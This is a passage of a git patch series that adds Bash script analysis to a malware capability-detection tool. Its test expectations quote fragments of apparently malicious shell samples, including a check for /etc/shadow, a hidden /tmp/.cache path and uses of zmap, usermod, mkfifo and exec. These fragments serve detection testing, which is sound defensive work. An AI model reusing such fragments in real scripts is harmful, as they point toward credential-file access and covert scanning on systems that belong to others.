"function=PSEUDO MAIN", Number(3), True), + ("sh_91800a", "function=PSEUDO MAIN", API("builtins.test"), False), + ("sh_cff512", "global", ScriptLanguage(LANGUAGE_FEATURE_FORMAT[LANG_BASH]), True), + ("sh_cff512", "file", Format(FORMAT_SCRIPT), True), + ("sh_cff512", "function=PSEUDO MAIN", API("killall"), True), + ("sh_cff512", "function=PSEUDO MAIN", API("openssl"), False), + ("sh_cff512", "function=PSEUDO MAIN", API("zmap"), True), + ("sh_cff512", "function=PSEUDO MAIN", Number(6667), False), + ("sh_cff512", "function=PSEUDO MAIN", Substring("8.8.8.8"), True), ("py_24e48f", "global", Arch(ARCH_ANY), True), ("py_24e48f", "global", OS(OS_ANY), True), ("py_24e48f", "global", ScriptLanguage(LANGUAGE_FEATURE_FORMAT[LANG_PY]), True), From 142bac211fc592be5ae92f795c9278aecf3c0d05 Mon Sep 17 00:00:00 2001 From: saniyafatima07 Date: Sat, 15 Aug 2026 02:22:59 +0530 Subject: [PATCH 02/10] Remove zipfile extraction --- tests/fixtures/__init__.py | 29 +++-------------------------- 1 file changed, 3 insertions(+), 26 deletions(-) diff --git a/tests/fixtures/__init__.py b/tests/fixtures/__init__.py index 045194cdfa..d3e10c7cbb 100644 --- a/tests/fixtures/__init__.py +++ b/tests/fixtures/__init__.py @@ -20,7 +20,6 @@ import collections from typing import Tuple, Union, Literal, Iterator, Optional from pathlib import Path -from zipfile import ZipFile from dataclasses import field, dataclass import pytest @@ -450,24 +449,6 @@ def extract_instruction_features(extractor, fh, bbh, ih) -> dict[Feature, set[Ad return features -@contextlib.contextmanager -def extract_script_sample(path: Path): - if path.suffix != ".zip": - yield path - return - - with tempfile.TemporaryDirectory(prefix="capa-script-") as tmp: - tmp_dir = Path(tmp) - - with ZipFile(path, "r") as zf: - zf.extractall(tmp_dir) - - extracted = list(tmp_dir.iterdir()) - assert len(extracted) == 1 - - yield extracted[0] - - def get_process(extractor, ppid: int, pid: int) -> ProcessHandle: for ph in extractor.get_processes(): if ph.address.ppid == ppid and ph.address.pid == pid: @@ -906,14 +887,12 @@ def py_a4d252_template_engine(): @pytest.fixture def sh_cff512_extractor_engine(): - with extract_script_sample(BASH_DATA_PATH_BY_NAME["sh_cff512"]) as sample: - return get_ts_extractor_engine(LANG_BASH, sample.read_bytes()) + return get_ts_extractor_engine(LANG_BASH, BASH_DATA_PATH_BY_NAME["sh_cff512"].read_bytes()) @pytest.fixture def sh_91800a_extractor_engine(): - with extract_script_sample(BASH_DATA_PATH_BY_NAME["sh_91800a"]) as sample: - return get_ts_extractor_engine(LANG_BASH, sample.read_bytes()) + return get_ts_extractor_engine(LANG_BASH, BASH_DATA_PATH_BY_NAME["sh_91800a"].read_bytes()) def resolve_sample_ts(sample): @@ -1129,7 +1108,6 @@ def _check_stale_idalib_files(path: Path): @contextlib.contextmanager def get_idalib_extractor(path: Path): import shutil - import tempfile import capa.features.extractors.ida.idalib as idalib import capa.features.extractors.ida.extractor @@ -1226,8 +1204,7 @@ def get_ts_template_engine(path): def get_ts_extractor(path): import capa.features.extractors.ts.extractor - with extract_script_sample(path) as sample: - return capa.features.extractors.ts.extractor.TreeSitterFeatureExtractor(sample) + return capa.features.extractors.ts.extractor.TreeSitterFeatureExtractor(path) ASPX_DATA_PATH_BY_NAME = { From 4b22d5f2979a9ab0bf120f6a30f263b8cb6c40d1 Mon Sep 17 00:00:00 2001 From: saniyafatima07 Date: Mon, 17 Aug 2026 16:04:03 +0530 Subject: [PATCH 03/10] Extend global statement to include top-level constructs --- capa/features/extractors/ts/query.py | 20 +++++++++++++++---- .../features/extractors/ts/signatures/sh.json | 1 + tests/test_ts.py | 10 +++++++++- 3 files changed, 26 insertions(+), 5 deletions(-) diff --git a/capa/features/extractors/ts/query.py b/capa/features/extractors/ts/query.py index 599696d0d9..56da3d2809 100644 --- a/capa/features/extractors/ts/query.py +++ b/capa/features/extractors/ts/query.py @@ -139,10 +139,22 @@ def deserialize(language: str, binding: dict) -> dict: "global_statement": """ (program [ - (command) @global-statement - (variable_assignment) @global-statement - (if_statement) @global-statement - ]) + (command) + (variable_assignment) + (if_statement) + (while_statement) + (for_statement) + (c_style_for_statement) + (case_statement) + (pipeline) + (list) + (compound_statement) + (subshell) + (declaration_command) + (test_command) + (negated_command) + (redirected_statement) + ] @global-statement) """, }, "field_name": { diff --git a/capa/features/extractors/ts/signatures/sh.json b/capa/features/extractors/ts/signatures/sh.json index 6b88af4c53..459bb81d23 100644 --- a/capa/features/extractors/ts/signatures/sh.json +++ b/capa/features/extractors/ts/signatures/sh.json @@ -16,6 +16,7 @@ "eval", "exec", "source", + "test", "trap", "umask" ], diff --git a/tests/test_ts.py b/tests/test_ts.py index 41fffdcdc7..415c1b7c69 100644 --- a/tests/test_ts.py +++ b/tests/test_ts.py @@ -229,6 +229,8 @@ def do_test_ts_extractor_engine_get_assigned_property_names( ], "namespaces": [], "global statements": [ + 'echo "FATAL: This file is a static analysis fixture and must never be executed!" >&2', + "return 1 2>/dev/null || exit 1", 'tmp="/tmp/.cache"', "count=3", "if test -f /etc/shadow; then\n log_and_run\nfi", @@ -344,8 +346,11 @@ def do_test_ts_extractor_engine_get_assigned_property_names( ], "namespaces": [], "global statements": [ + 'echo "FATAL: This file is a static analysis fixture and must never be executed!" >&2', + "return 1 2>/dev/null || exit 1", "MYSELF=`realpath $0`", "DEBUG=/dev/null", + "echo $MYSELF >> $DEBUG", 'if [ "$EUID" -ne 0 ]\nthen ', ], "properties": [], @@ -1355,12 +1360,15 @@ def do_test_ts_html_engine_init(engine: TreeSitterHTMLEngine): ("sh_91800a", "function=launch", API("mkfifo"), True), ("sh_91800a", "function=launch", API("builtins.exec"), True), ("sh_91800a", "function=PSEUDO MAIN", Number(3), True), - ("sh_91800a", "function=PSEUDO MAIN", API("builtins.test"), False), + ("sh_91800a", "function=PSEUDO MAIN", String("/tmp/.cache"), True), + ("sh_91800a", "function=PSEUDO MAIN", API("builtins.test"), True), ("sh_cff512", "global", ScriptLanguage(LANGUAGE_FEATURE_FORMAT[LANG_BASH]), True), ("sh_cff512", "file", Format(FORMAT_SCRIPT), True), ("sh_cff512", "function=PSEUDO MAIN", API("killall"), True), ("sh_cff512", "function=PSEUDO MAIN", API("openssl"), False), ("sh_cff512", "function=PSEUDO MAIN", API("zmap"), True), + ("sh_cff512", "function=PSEUDO MAIN", API("apt-get"), True), + ("sh_cff512", "function=PSEUDO MAIN", API("usermod"), True), ("sh_cff512", "function=PSEUDO MAIN", Number(6667), False), ("sh_cff512", "function=PSEUDO MAIN", Substring("8.8.8.8"), True), ("py_24e48f", "global", Arch(ARCH_ANY), True), From 3a87b5fba0ed5f0db59fc8844fb60362ed93444c Mon Sep 17 00:00:00 2001 From: saniyafatima07 Date: Mon, 17 Aug 2026 16:05:33 +0530 Subject: [PATCH 04/10] Remove duplicate imports, fix Text import in helpers --- capa/helpers.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/capa/helpers.py b/capa/helpers.py index 97363dc570..4d71c07b81 100644 --- a/capa/helpers.py +++ b/capa/helpers.py @@ -27,10 +27,10 @@ from datetime import datetime import msgspec.json +from rich.text import Text from rich.console import Console from rich.progress import ( Task, - Text, Progress, BarColumn, TextColumn, @@ -237,8 +237,6 @@ def get_format_from_extension(sample: Path) -> str: format_ = FORMAT_FREEZE elif sample.name.endswith(EXTENSIONS_BINEXPORT2): format_ = FORMAT_BINEXPORT2 - elif sample.name.endswith(EXTENSIONS_ELF): - format_ = FORMAT_ELF elif sample.name.endswith(EXTENSIONS_BINJA_DB): format_ = FORMAT_BINJA_DB elif sample.name.endswith(EXTENSIONS_SUPPORTED_SCRIPTS): From f5da97d063b73c87e99b4ff2692bc9471ebcf1b8 Mon Sep 17 00:00:00 2001 From: saniyafatima07 Date: Mon, 17 Aug 2026 16:53:55 +0530 Subject: [PATCH 05/10] Fix minor errors --- capa/rules/__init__.py | 2 +- tests/fixtures/__init__.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/capa/rules/__init__.py b/capa/rules/__init__.py index a33226f6aa..b270237921 100644 --- a/capa/rules/__init__.py +++ b/capa/rules/__init__.py @@ -2281,7 +2281,7 @@ def _match(self, scope: Scope, features: FeatureSet, addr: Address) -> tuple[Fea if new_candidates: candidate_rule_names.update(new_candidates) - candidate_rules.extend([self.rules[rule_name] for rule_name in set(new_candidates)]) + candidate_rules.extend([self.rules[rule_name] for rule_name in new_candidates]) RuleSet._sort_rules_by_index(rule_index_by_rule_name, candidate_rules) candidate_rules.reverse() diff --git a/tests/fixtures/__init__.py b/tests/fixtures/__init__.py index d3e10c7cbb..fddb0e790d 100644 --- a/tests/fixtures/__init__.py +++ b/tests/fixtures/__init__.py @@ -14,7 +14,6 @@ import json import logging -import tempfile import functools import contextlib import collections @@ -1108,6 +1107,7 @@ def _check_stale_idalib_files(path: Path): @contextlib.contextmanager def get_idalib_extractor(path: Path): import shutil + import tempfile import capa.features.extractors.ida.idalib as idalib import capa.features.extractors.ida.extractor From 22417c742ae95be76da89d961a24693b62ed5ffd Mon Sep 17 00:00:00 2001 From: saniyafatima07 Date: Thu, 20 Aug 2026 00:19:44 +0530 Subject: [PATCH 06/10] Refactor BashQueryBinding into subclass --- capa/features/extractors/ts/engine.py | 118 +++++++++++------------ capa/features/extractors/ts/extractor.py | 26 +++-- capa/features/extractors/ts/file.py | 16 ++- capa/features/extractors/ts/function.py | 65 ++++++++++--- capa/features/extractors/ts/query.py | 24 +++-- tests/fixtures/__init__.py | 3 + tests/test_ts.py | 33 +++++-- 7 files changed, 176 insertions(+), 109 deletions(-) diff --git a/capa/features/extractors/ts/engine.py b/capa/features/extractors/ts/engine.py index f159741cd3..82bd2ac84a 100644 --- a/capa/features/extractors/ts/engine.py +++ b/capa/features/extractors/ts/engine.py @@ -13,7 +13,7 @@ # limitations under the License. import re -from typing import List, Tuple, Iterator, Optional +from typing import List, Tuple, Iterator, Optional, cast from tree_sitter import Node, Tree, Parser, QueryCursor @@ -26,6 +26,7 @@ BashQueryBinding, HTMLQueryBinding, ScriptQueryBinding, + FunctionQueryBinding, TemplateQueryBinding, ) from capa.features.extractors.ts.tools import LANGUAGE_TOOLKITS, BaseNamespace, CSharpNamespace, LanguageToolkit @@ -41,11 +42,15 @@ class TreeSitterBaseEngine: language: str query: QueryBinding tree: Tree + buf_offset: int + language_toolkit: LanguageToolkit + namespaces: set[BaseNamespace] = set() - def __init__(self, language: str, buf: bytes): + def __init__(self, language: str, buf: bytes, buf_offset: int = 0): self.language = language self.query = BINDINGS[language] self.buf = buf + self.buf_offset = buf_offset self.tree = self.parse() def parse(self) -> Tree: @@ -59,7 +64,7 @@ def get_str(self, node: Node) -> str: return self.get_byte_range(node).decode("utf-8") def get_address(self, node: Node) -> FileOffsetRangeAddress: - return FileOffsetRangeAddress(node.start_byte, node.end_byte) + return FileOffsetRangeAddress(self.buf_offset + node.start_byte, self.buf_offset + node.end_byte) def get_default_address(self) -> FileOffsetRangeAddress: return self.get_address(self.tree.root_node) @@ -81,11 +86,43 @@ def get_captured_nodes(cursor: QueryCursor, node: Node) -> Iterator[Node]: yield from sorted(captured_nodes, key=TreeSitterBaseEngine.get_node_sort_key) + def get_function_query(self) -> FunctionQueryBinding: + return cast(FunctionQueryBinding, self.query) + + def get_function_definitions(self, node: Optional[Node] = None) -> Iterator[Node]: + node = self.tree.root_node if node is None else node + cursor = QueryCursor(self.get_function_query().function_definition) + yield from self.get_captured_nodes(cursor, node) + + def get_function_definition_name(self, node: Node) -> Node | None: + return node.child_by_field_name(self.get_function_query().function_definition_field_name) + + def get_function_definition_names(self, node: Node) -> Iterator[Node]: + for fd_node in self.get_function_definitions(node): + name_node = self.get_function_definition_name(fd_node) + if name_node is not None: + yield name_node + + def get_function_call_names(self, node: Node) -> Iterator[Node]: + cursor = QueryCursor(self.get_function_query().function_call_name) + yield from self.get_captured_nodes(cursor, node) + + def get_string_literals(self, node: Node) -> Iterator[Node]: + cursor = QueryCursor(self.get_function_query().string_literal) + yield from self.get_captured_nodes(cursor, node) + + def get_integer_literals(self, node: Node) -> Iterator[Node]: + cursor = QueryCursor(self.get_function_query().integer_literal) + yield from self.get_captured_nodes(cursor, node) + + def get_global_statements(self) -> Iterator[Node]: + cursor = QueryCursor(self.get_function_query().global_statement) + yield from self.get_captured_nodes(cursor, self.tree.root_node) + class TreeSitterExtractorEngine(TreeSitterBaseEngine): - query: ScriptQueryBinding | BashQueryBinding + query: ScriptQueryBinding language_toolkit: LanguageToolkit - buf_offset: int namespaces: set[BaseNamespace] def __init__( @@ -95,8 +132,7 @@ def __init__( buf_offset: int = 0, additional_namespaces: set[BaseNamespace] | None = None, ): - super().__init__(language, buf) - self.buf_offset = buf_offset + super().__init__(language, buf, buf_offset) self.language_toolkit = LANGUAGE_TOOLKITS[language] if additional_namespaces is None: @@ -105,77 +141,35 @@ def __init__( self.namespaces = set(self.get_processed_namespaces()) self.namespaces = self.namespaces.union(additional_namespaces) - def get_address(self, node: Node) -> FileOffsetRangeAddress: - return FileOffsetRangeAddress(self.buf_offset + node.start_byte, self.buf_offset + node.end_byte) - def get_new_object_names(self, node: Node) -> Iterator[Node]: - if not isinstance(self.query, ScriptQueryBinding): - return cursor = QueryCursor(self.query.new_object_name) yield from self.get_captured_nodes(cursor, node) def get_property_names(self, node: Node) -> Iterator[Node]: - if not isinstance(self.query, ScriptQueryBinding): - return cursor = QueryCursor(self.query.property_name) yield from self.get_captured_nodes(cursor, node) def get_processed_property_names(self, node: Node) -> Iterator[Tuple[Node, str]]: """Generates captured property name nodes and their associated proper names (see process_property for details), e.g.: [(node0, "StartInfo"), (node1, "RedirectStandardOutput")].""" - if not isinstance(self.query, ScriptQueryBinding): - return for pt_node in self.get_property_names(node): pt_name = self.language_toolkit.process_property(pt_node, self.get_str(pt_node)) if pt_name: yield pt_node, pt_name - def get_function_definitions(self, node: Optional[Node] = None) -> Iterator[Node]: - node = self.tree.root_node if node is None else node - cursor = QueryCursor(self.query.function_definition) - yield from self.get_captured_nodes(cursor, node) - - def get_function_definition_name(self, node: Node) -> Node | None: - return node.child_by_field_name(self.query.function_definition_field_name) - - def get_function_definition_names(self, node: Node) -> Iterator[Node]: - for fd_node in self.get_function_definitions(node): - name_node = self.get_function_definition_name(fd_node) - if name_node is not None: - yield name_node - - def get_function_call_names(self, node: Node) -> Iterator[Node]: - cursor = QueryCursor(self.query.function_call_name) - yield from self.get_captured_nodes(cursor, node) - def get_imported_constants(self, node: Node) -> Iterator[Node]: - if not isinstance(self.query, ScriptQueryBinding): - return cursor = QueryCursor(self.query.imported_constant_name) yield from self.get_captured_nodes(cursor, node) def get_processed_imported_constants(self, node: Node) -> Iterator[Tuple[Node, str]]: """Generates captured imported constant nodes and their associated proper names (see process_imported_constant for details), e.g.: [(node0, "ssl.CERT_NONE"), (node1, "win32con.FILE_ATTRIBUTE_HIDDEN")].""" - if not isinstance(self.query, ScriptQueryBinding): - return for ic_node in self.get_imported_constants(node): ic_name = self.language_toolkit.process_imported_constant(ic_node, self.get_str(ic_node)) if ic_name: yield ic_node, ic_name - def get_string_literals(self, node: Node) -> Iterator[Node]: - cursor = QueryCursor(self.query.string_literal) - yield from self.get_captured_nodes(cursor, node) - - def get_integer_literals(self, node: Node) -> Iterator[Node]: - cursor = QueryCursor(self.query.integer_literal) - yield from self.get_captured_nodes(cursor, node) - def get_namespaces(self, node: Optional[Node] = None) -> List[Tuple[Node, str]]: - if not isinstance(self.query, ScriptQueryBinding): - return [] - target_node = self.tree.root_node if node is None else node cursor = QueryCursor(self.query.namespace) namespace_captures: List[Tuple[Node, str]] = [] @@ -187,19 +181,10 @@ def get_namespaces(self, node: Optional[Node] = None) -> List[Tuple[Node, str]]: return sorted(namespace_captures, key=self.get_node_capture_sort_key) def get_processed_namespaces(self, node: Optional[Node] = None) -> Iterator[BaseNamespace]: - if not isinstance(self.query, ScriptQueryBinding): - return for ns_node, query_name in self.get_namespaces(node): yield from self.language_toolkit.process_namespace(ns_node, query_name, self.get_str) - def get_global_statements(self) -> Iterator[Node]: - cursor = QueryCursor(self.query.global_statement) - yield from self.get_captured_nodes(cursor, self.tree.root_node) - def get_direct_method_call(self, node: Node) -> Optional[Node]: - if not isinstance(self.query, ScriptQueryBinding): - return None - cursor = QueryCursor(self.query.direct_method_call) captures = cursor.captures(node) for nodes in captures.values(): @@ -207,12 +192,25 @@ def get_direct_method_call(self, node: Node) -> Optional[Node]: return nodes[0] return None + def get_feature_namespaces(self) -> Iterator[BaseNamespace]: + yield from self.namespaces + + +class TreeSitterBashEngine(TreeSitterBaseEngine): + query: BashQueryBinding + language_toolkit: LanguageToolkit + + def __init__(self, language: str, buf: bytes, buf_offset: int = 0): + super().__init__(language, buf, buf_offset) + self.language_toolkit = LANGUAGE_TOOLKITS[language] + def get_variable_names(self, node: Node) -> Iterator[Node]: - if not isinstance(self.query, BashQueryBinding): - return cursor = QueryCursor(self.query.variable_name) yield from self.get_captured_nodes(cursor, node) + def get_feature_namespaces(self) -> Iterator[BaseNamespace]: + yield from () + class TreeSitterTemplateEngine(TreeSitterBaseEngine): query: TemplateQueryBinding diff --git a/capa/features/extractors/ts/extractor.py b/capa/features/extractors/ts/extractor.py index b3b4b5739c..be23cfcba1 100644 --- a/capa/features/extractors/ts/extractor.py +++ b/capa/features/extractors/ts/extractor.py @@ -23,9 +23,15 @@ from capa.exceptions import UnsupportedFormatError from capa.features.common import Namespace from capa.features.address import NO_ADDRESS, Address, AbsoluteVirtualAddress, FileOffsetRangeAddress -from capa.features.extractors.script import LANG_TEM, LANG_HTML +from capa.features.extractors.script import LANG_TEM, LANG_BASH, LANG_HTML from capa.features.extractors.ts.tools import BaseNamespace -from capa.features.extractors.ts.engine import TreeSitterHTMLEngine, TreeSitterTemplateEngine, TreeSitterExtractorEngine +from capa.features.extractors.ts.engine import ( + TreeSitterBaseEngine, + TreeSitterBashEngine, + TreeSitterHTMLEngine, + TreeSitterTemplateEngine, + TreeSitterExtractorEngine, +) from capa.features.extractors.ts.function import PSEUDO_MAIN, TSFunctionInner from capa.features.extractors.base_extractor import ( Feature, @@ -38,7 +44,7 @@ class TreeSitterFeatureExtractor(StaticFeatureExtractor): - engines: List[TreeSitterExtractorEngine] + engines: List[TreeSitterBaseEngine] template_engine: TreeSitterTemplateEngine language: str path: Path @@ -62,15 +68,17 @@ def get_template_engine(self, buf: bytes): if self.language == LANG_TEM: return TreeSitterTemplateEngine(buf) - def get_engines(self, buf: bytes) -> List[TreeSitterExtractorEngine]: + def get_engines(self, buf: bytes) -> List[TreeSitterBaseEngine]: if self.language == LANG_TEM and self.template_engine: return self.extract_code_from_template() if self.language == LANG_HTML: return self.extract_code_from_html(buf) + if self.language == LANG_BASH: + return [TreeSitterBashEngine(self.language, buf)] return [TreeSitterExtractorEngine(self.language, buf)] - def extract_code_from_template(self) -> List[TreeSitterExtractorEngine]: - engines = list(self.template_engine.get_parsed_code_sections()) + def extract_code_from_template(self) -> List[TreeSitterBaseEngine]: + engines: List[TreeSitterBaseEngine] = list(self.template_engine.get_parsed_code_sections()) for node in self.template_engine.get_content_sections(): section_buf = self.template_engine.get_byte_range(node) engines.extend(self.extract_code_from_html(section_buf, self.template_engine.namespaces)) @@ -78,7 +86,7 @@ def extract_code_from_template(self) -> List[TreeSitterExtractorEngine]: def extract_code_from_html( self, buf: bytes, namespaces: set[BaseNamespace] | None = None - ) -> List[TreeSitterExtractorEngine]: + ) -> List[TreeSitterBaseEngine]: if namespaces is None: namespaces = set() return list(TreeSitterHTMLEngine(buf, namespaces).get_parsed_code_sections()) @@ -102,10 +110,10 @@ def extract_file_features(self) -> Iterator[Tuple[Feature, Address]]: for engine in self.engines: yield from capa.features.extractors.ts.file.extract_features(engine) - def get_pseudo_main_function_inner(self, engine: TreeSitterExtractorEngine) -> TSFunctionInner: + def get_pseudo_main_function_inner(self, engine: TreeSitterBaseEngine) -> TSFunctionInner: return TSFunctionInner(engine.tree.root_node, PSEUDO_MAIN, engine) - def get_pseudo_main_function(self, engine: TreeSitterExtractorEngine) -> FunctionHandle: + def get_pseudo_main_function(self, engine: TreeSitterBaseEngine) -> FunctionHandle: return FunctionHandle(engine.get_default_address(), self.get_pseudo_main_function_inner(engine)) def get_functions(self) -> Iterator[FunctionHandle]: diff --git a/capa/features/extractors/ts/file.py b/capa/features/extractors/ts/file.py index 66a2e34115..2f2a183031 100644 --- a/capa/features/extractors/ts/file.py +++ b/capa/features/extractors/ts/file.py @@ -13,10 +13,11 @@ # limitations under the License. from typing import Tuple, Iterator +from functools import singledispatch from capa.features.common import Feature, Namespace from capa.features.address import Address -from capa.features.extractors.ts.engine import TreeSitterExtractorEngine +from capa.features.extractors.ts.engine import TreeSitterBaseEngine, TreeSitterBashEngine, TreeSitterExtractorEngine def extract_namespaces(engine: TreeSitterExtractorEngine) -> Iterator[Tuple[Feature, Address]]: @@ -25,10 +26,21 @@ def extract_namespaces(engine: TreeSitterExtractorEngine) -> Iterator[Tuple[Feat yield Namespace(namespace.name), engine.get_address(namespace.node) -def extract_features(engine: TreeSitterExtractorEngine) -> Iterator[Tuple[Feature, Address]]: +@singledispatch +def extract_features(engine: TreeSitterBaseEngine) -> Iterator[Tuple[Feature, Address]]: + raise TypeError(f"unsupported Tree-Sitter engine: {type(engine).__name__}") + + +@extract_features.register +def _(engine: TreeSitterExtractorEngine) -> Iterator[Tuple[Feature, Address]]: for file_handler in FILE_HANDLERS: for feature, addr in file_handler(engine): yield feature, addr +@extract_features.register +def _(engine: TreeSitterBashEngine) -> Iterator[Tuple[Feature, Address]]: + yield from () + + FILE_HANDLERS = (extract_namespaces,) diff --git a/capa/features/extractors/ts/function.py b/capa/features/extractors/ts/function.py index 37729decdf..0a9d5b034b 100644 --- a/capa/features/extractors/ts/function.py +++ b/capa/features/extractors/ts/function.py @@ -13,6 +13,7 @@ # limitations under the License. from typing import Tuple, Iterable, Iterator +from functools import singledispatch from dataclasses import dataclass from tree_sitter import Node @@ -20,9 +21,8 @@ from capa.features.insn import API, Number, Property from capa.features.common import Class, String, Feature, Namespace from capa.features.address import Address -from capa.features.extractors.ts.query import BashQueryBinding from capa.features.extractors.ts.tools import BaseNamespace -from capa.features.extractors.ts.engine import TreeSitterExtractorEngine +from capa.features.extractors.ts.engine import TreeSitterBaseEngine, TreeSitterBashEngine, TreeSitterExtractorEngine from capa.features.extractors.base_extractor import FunctionHandle PSEUDO_MAIN = "PSEUDO MAIN" # all global statements in one function scope @@ -32,10 +32,10 @@ class TSFunctionInner: node: Node name: str - engine: TreeSitterExtractorEngine + engine: TreeSitterBaseEngine -def is_pseudo_main_function(fh: FunctionHandle, engine: TreeSitterExtractorEngine) -> bool: +def is_pseudo_main_function(fh: FunctionHandle, engine: TreeSitterBaseEngine) -> bool: return ( fh.address == engine.get_default_address() and fh.inner.node == engine.tree.root_node @@ -43,12 +43,12 @@ def is_pseudo_main_function(fh: FunctionHandle, engine: TreeSitterExtractorEngin ) -def extract_strings(fn_node: Node, engine: TreeSitterExtractorEngine) -> Iterator[Tuple[Feature, Address]]: +def extract_strings(fn_node: Node, engine: TreeSitterBaseEngine) -> Iterator[Tuple[Feature, Address]]: for node in engine.get_string_literals(fn_node): yield String(engine.language_toolkit.parse_string(engine.get_str(node))), engine.get_address(node) -def extract_integers(fn_node: Node, engine: TreeSitterExtractorEngine) -> Iterator[Tuple[Feature, Address]]: +def extract_integers(fn_node: Node, engine: TreeSitterBaseEngine) -> Iterator[Tuple[Feature, Address]]: for node in engine.get_integer_literals(fn_node): try: yield Number(engine.language_toolkit.parse_integer(engine.get_str(node))), engine.get_address(node) @@ -134,7 +134,7 @@ def _extract_properties( yield Property(engine.language_toolkit.format_imported_property(full_name)), engine.get_address(pt_node) -def _extract_static_methods(node: Node, engine: TreeSitterExtractorEngine) -> Iterator[Tuple[Feature, Address]]: +def _extract_static_methods(node: Node, engine: TreeSitterBaseEngine) -> Iterator[Tuple[Feature, Address]]: if engine.language_toolkit.is_builtin(engine.get_str(node)): yield API(engine.language_toolkit.get_builtin_name(engine.get_str(node))), engine.get_address(node) for full_name in get_possible_full_names(engine.get_str(node), engine.namespaces): @@ -167,18 +167,10 @@ def _extract_function_calls( ) -> Iterator[Tuple[Feature, Address]]: for node in engine.get_function_call_names(fn_node): yield from _extract_static_methods(node, engine) - - if isinstance(engine.query, BashQueryBinding): - continue - yield from _extract_instance_methods(node, classes, engine) def extract_imports(fn_node: Node, engine: TreeSitterExtractorEngine) -> Iterator[Tuple[Feature, Address]]: - if isinstance(engine.query, BashQueryBinding): - yield from _extract_function_calls(fn_node, set(), engine) - return - classes = {engine.language_toolkit.create_namespace(cls) for cls in get_classes(fn_node, engine)} yield from _extract_classes(fn_node, engine) yield from _extract_constants(fn_node, engine) @@ -197,15 +189,56 @@ def _extract_features(fn_node: Node, engine: TreeSitterExtractorEngine) -> Itera yield feature, addr -def extract_features(fh: FunctionHandle, engine: TreeSitterExtractorEngine) -> Iterator[Tuple[Feature, Address]]: +def _extract_bash_function_calls(fn_node: Node, engine: TreeSitterBashEngine) -> Iterator[Tuple[Feature, Address]]: + for node in engine.get_function_call_names(fn_node): + yield from _extract_static_methods(node, engine) + + +def _extract_bash_pseudo_main_features(engine: TreeSitterBashEngine) -> Iterator[Tuple[Feature, Address]]: + for node in engine.get_global_statements(): + yield from _extract_bash_features(node, engine) + + +def _extract_bash_features(fn_node: Node, engine: TreeSitterBashEngine) -> Iterator[Tuple[Feature, Address]]: + for function_handler in BASH_FUNCTION_HANDLERS: + for feature, addr in function_handler(fn_node, engine): + yield feature, addr + + +@singledispatch +def _extract_engine_features(engine: TreeSitterBaseEngine, fh: FunctionHandle) -> Iterator[Tuple[Feature, Address]]: + raise TypeError(f"unsupported Tree-Sitter engine: {type(engine).__name__}") + + +@_extract_engine_features.register +def _(engine: TreeSitterExtractorEngine, fh: FunctionHandle) -> Iterator[Tuple[Feature, Address]]: if is_pseudo_main_function(fh, engine): yield from _extract_pseudo_main_features(engine) else: yield from _extract_features(fh.inner.node, engine) +@_extract_engine_features.register +def _(engine: TreeSitterBashEngine, fh: FunctionHandle) -> Iterator[Tuple[Feature, Address]]: + if is_pseudo_main_function(fh, engine): + yield from _extract_bash_pseudo_main_features(engine) + else: + yield from _extract_bash_features(fh.inner.node, engine) + + +def extract_features(fh: FunctionHandle, engine: TreeSitterBaseEngine) -> Iterator[Tuple[Feature, Address]]: + yield from _extract_engine_features(engine, fh) + + FUNCTION_HANDLERS = ( extract_imports, extract_integers, extract_strings, ) + + +BASH_FUNCTION_HANDLERS = ( + _extract_bash_function_calls, + extract_integers, + extract_strings, +) diff --git a/capa/features/extractors/ts/query.py b/capa/features/extractors/ts/query.py index 56da3d2809..331a889335 100644 --- a/capa/features/extractors/ts/query.py +++ b/capa/features/extractors/ts/query.py @@ -38,20 +38,24 @@ class QueryBinding: @dataclass -class ScriptQueryBinding(QueryBinding): - new_object_name: Query +class FunctionQueryBinding(QueryBinding): function_definition: Query function_definition_field_name: str - direct_method_call: Query function_call_name: Query - property_name: Query - imported_constant_name: Query string_literal: Query integer_literal: Query - namespace: Query global_statement: Query +@dataclass +class ScriptQueryBinding(FunctionQueryBinding): + new_object_name: Query + direct_method_call: Query + property_name: Query + imported_constant_name: Query + namespace: Query + + @dataclass class TemplateQueryBinding(QueryBinding): code: Query @@ -66,14 +70,8 @@ class HTMLQueryBinding(QueryBinding): @dataclass -class BashQueryBinding(QueryBinding): - function_definition: Query - function_definition_field_name: str - function_call_name: Query - string_literal: Query - integer_literal: Query +class BashQueryBinding(FunctionQueryBinding): variable_name: Query - global_statement: Query TS_LANGUAGES: dict[str, Language] = { diff --git a/tests/fixtures/__init__.py b/tests/fixtures/__init__.py index fddb0e790d..db72eb3c3b 100644 --- a/tests/fixtures/__init__.py +++ b/tests/fixtures/__init__.py @@ -1189,6 +1189,8 @@ def get_binexport_extractor(path): def get_ts_extractor_engine(language, buf): import capa.features.extractors.ts.engine + if language == LANG_BASH: + return capa.features.extractors.ts.engine.TreeSitterBashEngine(language, buf) return capa.features.extractors.ts.engine.TreeSitterExtractorEngine(language, buf) @@ -1201,6 +1203,7 @@ def get_ts_template_engine(path): return capa.features.extractors.ts.engine.TreeSitterTemplateEngine(buf) +@functools.lru_cache(maxsize=1) def get_ts_extractor(path): import capa.features.extractors.ts.extractor diff --git a/tests/test_ts.py b/tests/test_ts.py index 415c1b7c69..5088e522f6 100644 --- a/tests/test_ts.py +++ b/tests/test_ts.py @@ -46,6 +46,7 @@ from capa.features.extractors.ts.tools import LANGUAGE_TOOLKITS from capa.features.extractors.ts.engine import ( TreeSitterBaseEngine, + TreeSitterBashEngine, TreeSitterHTMLEngine, TreeSitterTemplateEngine, TreeSitterExtractorEngine, @@ -53,7 +54,7 @@ def do_test_ts_base_engine_init(engine: TreeSitterBaseEngine): - assert engine.language in [LANG_CS, LANG_TEM, LANG_HTML, LANG_JS] + assert engine.language in [LANG_BASH, LANG_CS, LANG_TEM, LANG_HTML, LANG_JS] assert isinstance(engine.query, QueryBinding) assert isinstance(engine.buf, bytes) and len(engine.buf) > 0 assert isinstance(engine.tree, Tree) @@ -78,7 +79,7 @@ def do_test_ts_base_engine_get_default_address(engine: TreeSitterBaseEngine): assert addr1.start_byte == addr2.start_byte and addr1.end_byte == addr2.end_byte -def do_test_ts_extractor_engine_init(engine: TreeSitterExtractorEngine, expected_language: str): +def do_test_ts_extractor_engine_init(engine: TreeSitterBaseEngine, expected_language: str): assert engine.language == expected_language assert isinstance(engine.query, QueryBinding) assert isinstance(engine.get_default_address(), FileOffsetRangeAddress) @@ -107,7 +108,7 @@ def 